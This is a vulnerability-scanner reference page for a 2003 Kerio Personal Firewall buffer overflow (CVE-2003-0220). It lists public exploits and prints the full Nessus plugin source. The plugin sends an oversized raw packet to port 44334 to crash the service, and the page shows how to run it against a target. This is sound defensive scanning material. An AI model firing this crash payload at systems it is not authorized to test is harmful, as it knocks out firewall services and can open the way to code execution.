Kerio Personal Firewall Administrator Authentication Handshake Packet Remote Buffer Overflow - Nessus

High   Plugin ID: 11575

---

This page contains detailed information about the Kerio Personal Firewall Administrator Authentication Handshake Packet Remote Buffer Overflow Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview

---

ID: 11575
Name: Kerio Personal Firewall Administrator Authentication Handshake Packet Remote Buffer Overflow
Filename: kerio_PF_buffer_overflow.nasl
Vulnerability Published: 2003-04-28
This Plugin Published: 2003-05-06
Last Modification Time: 2018-11-15
Plugin Version: 1.20
Plugin Type: remote
Plugin Family: Firewalls
Dependencies: None
Required KB Items [?]: Settings/ParanoidReport

Vulnerability Information

---

Severity: High
Vulnerability Published: 2003-04-28
Patch Published: N/A
CVE [?]: CVE-2003-0220
CPE [?]: cpe:/a:kerio:personal_firewall

Synopsis

The remote service is affected by a buffer overflow vulnerability.

Description

Kerio Personal Firewall is vulnerable to a buffer overflow attack involving the administrator authentication process. An attacker may use this to crash Kerio or to execute arbitrary code on the system.

Solution

Unknown at this time.

Public Exploits

---

Target Network Port(s): 44334
Target Asset(s): Services/kerio
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Kerio Personal Firewall Administrator Authentication Handshake Packet Remote Buffer Overflow vulnerability:

1. Metasploit: exploit/windows/firewall/kerio_auth
   [Kerio Firewall 2.1.4 Authentication Packet Overflow]
2. Exploit-DB: exploits/windows/remote/1537.pm
   [EDB-1537: Kerio Personal Firewall 2.1.4 - Remote Authentication Packet Overflow (Metasploit)]
3. Exploit-DB: exploits/windows/remote/16465.rb
   [EDB-16465: Kerio Personal Firewall 2.1.4 - Authentication Packet Overflow (Metasploit)]
4. GitHub: https://github.com/stevek2k/exploits
   [CVE-2003-0220]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

---

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

Go back to menu.

Plugin Source

---

This is the kerio_PF_buffer_overflow.nasl nessus plugin source code. This script is Copyright (C) 2003-2018 Tenable Network Security, Inc.

#
# (C) Tenable Network Security, Inc.
#

# Exploit string by Core Security Technologies
#
# References:
# Date: Mon, 28 Apr 2003 15:34:27 -0300
# From: "CORE Security Technologies Advisories" <[email protected]>
# To: "Bugtraq" <[email protected]>, "Vulnwatch" <[email protected]>
# Subject: CORE-2003-0305-02: Vulnerabilities in Kerio Personal Firewall
#
# From: SecuriTeam <[email protected]>
# Subject: [EXPL] Vulnerabilities in Kerio Personal Firewall (Exploit)
# To: [email protected]
# Date: 18 May 2003 21:03:11 +0200
#
# Changes by rd : uncommented the recv() calls and tested it.
#

include("compat.inc");

if (description)
{
  script_id(11575);
  script_version("1.20");
  script_cvs_date("Date: 2018/11/15 20:50:22");

  script_cve_id("CVE-2003-0220");
  script_bugtraq_id(7180);

  script_name(english:"Kerio Personal Firewall Administrator Authentication Handshake Packet Remote Buffer Overflow");
  script_summary(english:"Buffer overflow on KPF administration port");

  script_set_attribute(attribute:"synopsis", value:"The remote service is affected by a buffer overflow vulnerability.");
  script_set_attribute(attribute:"description", value:
"Kerio Personal Firewall is vulnerable to a buffer overflow attack
involving the administrator authentication process. An attacker may
use this to crash Kerio or to execute arbitrary code on the system.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2003/Apr/358");
  script_set_attribute(attribute:"solution", value:"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Kerio Firewall 2.1.4 Authentication Packet Overflow');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2003/04/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2003/05/06");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:kerio:personal_firewall");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2003-2018 Tenable Network Security, Inc.");
  script_family(english:"Firewalls");

  #script_dependencie("find_service1.nasl");
  script_require_keys("Settings/ParanoidReport");    
  script_require_ports("Services/kerio", 44334);

  exit(0);
}


include("audit.inc");
include("global_settings.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = 44334;		# Default port
if (! get_port_state(port)) exit(0);

soc = open_sock_tcp(port);
if (! soc) exit(0);

b = recv(socket: soc, length: 10);
b = recv(socket: soc, length: 256);
expl = raw_string(0x00, 0x00, 0x14, 0x9C);
expl += crap(0x149c);
send(socket: soc, data: expl);
close(soc);

soc = open_sock_tcp(port);
if (! soc) security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

• Linux / Unix:
  /opt/nessus/lib/nessus/plugins/kerio_PF_buffer_overflow.nasl
• Windows:
  C:\ProgramData\Tenable\Nessus\nessus\plugins\kerio_PF_buffer_overflow.nasl
• Mac OS X:
  /Library/Nessus/run/lib/nessus/plugins/kerio_PF_buffer_overflow.nasl

Go back to menu.

How to Run

---

Here is how to run the Kerio Personal Firewall Administrator Authentication Handshake Packet Remote Buffer Overflow as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

1. Click to start a New Scan.
2. Select Advanced Scan.
3. Navigate to the Plugins tab.
4. On the top right corner click to Disable All plugins.
5. On the left side table select Firewalls plugin family.
6. On the right side table select Kerio Personal Firewall Administrator Authentication Handshake Packet Remote Buffer Overflow plugin ID 11575.
7. Specify the target on the Settings tab and click to Save the scan.
8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl kerio_PF_buffer_overflow.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a kerio_PF_buffer_overflow.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - kerio_PF_buffer_overflow.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state kerio_PF_buffer_overflow.nasl -t <IP/HOST>

Go back to menu.

References

---

BID | SecurityFocus Bugtraq ID:

• 7180

See also:

• https://www.tenable.com/plugins/nessus/11575
• https://seclists.org/bugtraq/2003/Apr/358
• https://vulners.com/nessus/KERIO_PF_BUFFER_OVERFLOW.NASL

Similar and related Nessus plugins:

• 72393 - Kerio Connect < 8.1.0 SSL/TLS Information Disclosure (BEAST)
• 76402 - Kerio Connect 8.2.x < 8.2.4 Heartbeat Information Disclosure (Heartbleed)
• 18256 - Kerio MailServer < 6.0.10 Multiple Mail Handling DoS
• 59608 - Kerio WinRoute Firewall Web Server Remote Source Code Disclosure
• 104998 - Check Point Gaia Operating Remote Heap Buffer Overflow (sk104443)(GHOST)
• 125886 - Fortinet FortiOS <= 5.4, 5.6.x < 5.6.8, 6.0.x < 6.0.5 SSL VPN Buffer Overflow (FG-IR-18-387)
• 125887 - Fortinet FortiOS < 5.6.11, 6.0.x < 6.0.5 SSL VPN Heap Buffer Overflow (FG-IR-18-388)
• 141474 - SonicWall SonicOS Buffer Overflow Vulnerability

Version

---

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file kerio_PF_buffer_overflow.nasl version 1.20. For more plugins, visit the Nessus Plugin Library.

Go back to menu.